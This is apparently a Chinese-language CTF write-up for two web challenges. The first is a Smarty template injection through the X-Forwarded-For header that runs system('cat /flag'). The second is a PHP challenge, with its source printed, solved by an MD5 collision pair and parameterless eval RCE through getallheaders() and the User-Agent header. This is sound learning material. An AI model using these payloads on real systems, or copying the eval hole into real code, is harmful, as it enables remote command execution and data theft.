目录
Be Smart
第一题就让我放聪明点,要不然没好果子吃,smart不就应该是ssti注入吗,前几天Buu刷题中碰到的[BJDCTF2020]Cookie is so stable就是Twig引擎的ssti注入,这个题是smart!真好。既然回显的是IP,那就
X-Forwarded-For:{system('ls')}
然后查看根目录发现flag,直接:
X-Forwarded-For:{system('cat /flag')}
easy_php
WP告诉我要遇见扫一下就出来了,我才发现我的字典里没用520.php所以一开始没做出来这个题。进入520.php让我在一分钟内完成。然后想起来打开题目时候的提示,为什么要get它,那我post一个东西试试,然后关键来了!
<?php
function isPost() {
return $_SERVER['REQUEST_METHOD'] == 'POST' ? true : false;
}
function level1() {
if (isset($_POST['var2']) && isset($_POST['var3']) && ((string)$_POST['var2'] !== (string)$_POST['var3'])) {
if (md5((string)($_POST['var2'])) === md5((string)($_POST['var3']))) {
return true;
} else {
die("Congratulations you failed, loser!!!");
}
}
}
function level2() {
if (isPost()) {
highlight_file(__FILE__);
} else {
echo "Can you finish it in a minute, loser?".PHP_EOL;
}
if (isset($_POST['var1']) && $_POST['var1'] == md5($_POST['var1'])) {
if (level1()) {
return true;
}
}
}
function level3() {
if (level2()) {
if (preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
@eval($_GET['code']);
}
}
}
level3();
?>
第二关是让post,并且要var1与var1的md5值相等。
然后跳到第一关,也是md5碰撞
md5((string)($_POST['var2'])) === md5((string)($_POST['var3']))
.真实md5碰撞,此时不能输入数组了,只能输入字符串
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
还有最后一个位置
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
很明显是无参数rce,apache才可以用的getallheaders()函数
使用getallheaders()时不需代入任何参数值,返回的是所有 HTTP 变量值,并使用组合的数组返回。此函数是apache_request_headers()的别名。
并且 Host 永远在数组的第一个, User-Agent 在第二个, User-Agent 我们可控,直接构造,
eval(next(getallheaders()));
来访问数组第二个内容,也就是User-Agent的内容。
ls一下发现被禁了,WP教我
highlight_file('/flag');
学到了
总结:
注意查看disable_function
学到了highlight_file('/flag');和getallheaders()